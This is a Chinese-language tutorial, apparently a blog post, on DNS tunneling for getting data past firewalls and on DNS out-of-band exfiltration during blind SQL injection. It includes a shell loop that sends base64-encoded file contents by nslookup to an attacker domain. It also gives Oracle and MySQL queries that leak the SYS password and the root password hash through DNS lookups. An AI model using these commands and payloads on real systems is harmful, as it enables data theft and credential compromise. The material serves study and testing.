DNS基础
大家可以自行搜索关于dns的几种查询方式以及查询流程,因为比较基础,我这里就不贴了。下面贴一个关于dns查询的图,大家自行理解:
DNS隧道技术是如何实现的
一个查询的流程
我们通过下图来理解一下
第一步: 黑客向内部dns服务器发送一个查询hacker.com的请求(这个域名的控制权限是在黑客手里的)
第二步:内部dns服务器通过防火墙向根dns服务器发出查询请求
第三步:经过大量重定向后,DNS请求到达hacker.com的权威DNS服务器,该服务器处于黑客的控制之下
第四步:黑客请求查询的响应结果通过防火墙
第五步:响应结果返回到内部服务器
第六步:内部服务器将响应结果返回给黑客
上面的流程展示了一个黑客在连接外部网络时dns解析的一个过程。由于防火墙并没有对dns协议做任何处理,所以我们可以通过这种方式向外网发送数据来穿透防火墙。
如何向外部dns发送数据
1、将下面内容保存一个文件
cat sensitive.txt Alice
Bob
John
2、 使用如下命令
for i in $(cat sensitive.txt);
do d=$(echo $i|base64) && nslookup $d.hacker.com;
done
以上命令的意思是,循环读取文件内容,并且对内容进行base64编码然后用nslookup 将编码后的内容作为主机名向dns发送查询请求。我们可以跟踪dns服务器的解析日志,找出发送出去的内容。
下面是这种方式的问题:
1 、这是一个单向通道,不可以从外部到内部,只能从内部到外部。
2 、这种处理一下小文件是可以的,但是如果有个100M的文件就不那么友好了
这是我们就需要一个工具来完成这个任务了。
推荐工具
一款优秀的工具dnscat2,下载地址:https://github.com/iagox86/dnscat2
dnscat2提供客户端和服务端。
使用的条件:
1 一台vps
2 一个域名控制权限
3 一台内网权限
利用dns回显sql注入
基于以上思路,我们在遇到没有回显的注入时,不能确定命令是否成功,我们可以利用dns,将结果回显到自己的dns服务器上,下面简单说一下不同数据库的利用方式。
MSSQL
有用的存储过程
master..xp_dirtree
功能:递归获取指定目录下的所有目录
命令:master..xp_dirtree '<dirpath>'
master..xp_fileexist
功能:检测指定磁盘下有没有该文件
命令:xp_fileexist '<filepath>'
master..xp_subdirs
功能:获取指定目录下的目录列表
命令:master..xp_subdirs '<dirpath>'
获取sa的hash

执行以上命令即可在远程dns服务器上留下解析日志,获得hash
Oracle
UTL_INADDR.GET_HOST_ADDRESS
函数:UTL_INADDR.GET_HOST_ADDRESS('<host>')
exp:SELECT UTL_INADDR.GET_HOST_ADDRESS('password.hacker.com');
UTL_HTTP.REQUEST
函数:UTL_HTTP.REQUEST('<url>')
exp:SELECT UTL_HTTP.REQUEST('http://password.hacker.com/index.php') FROM DUAL;
HTTPURITYPE.GETCLOB
函数:HTTPURITYPE('<url>').GETCLOB()
exp:SELECT HTTPURITYPE('http://password.hacker.com/index.php').GETCLOB() FROM DUAL;
DBMS_LDAP.INIT
函数:DBMS_LDAP.INIT(('<host>',<port>)
exp:SELECT DBMS_LDAP.INIT(('password.hacker.com',80) FROM DUAL;
举例
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.hacker.com',80) FROM DUAL;
以上查询语句将管理员的密码解析到我们的dns服务器上
Mysql
LOAD_FILE
函数:LOAD_FILE('<filepath>')
exp:SELECT LOAD_FILE('C:\Windows\system.ini');
举例
SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.hacker.com\foobar'));
将root用户的hash解析到我们的dns服务器上
PostgreSQL
COPY
函数:COPY <table>(<column>,...) FROM '<path>'
exp:COPY users(names) FROM 'C:\Windows\Temp\users.txt'
举例
由于PostgreSQL不接受子查询,切变量和函数必须进行显视声明。所以利用过程比较麻烦。
总结
本文简单的讲解了DNS隧道技术是如何实现的,以及简单的测试,推荐了工具,然而并没有对工具如何使用进行阐述,这就需要小伙伴们自己去测试了。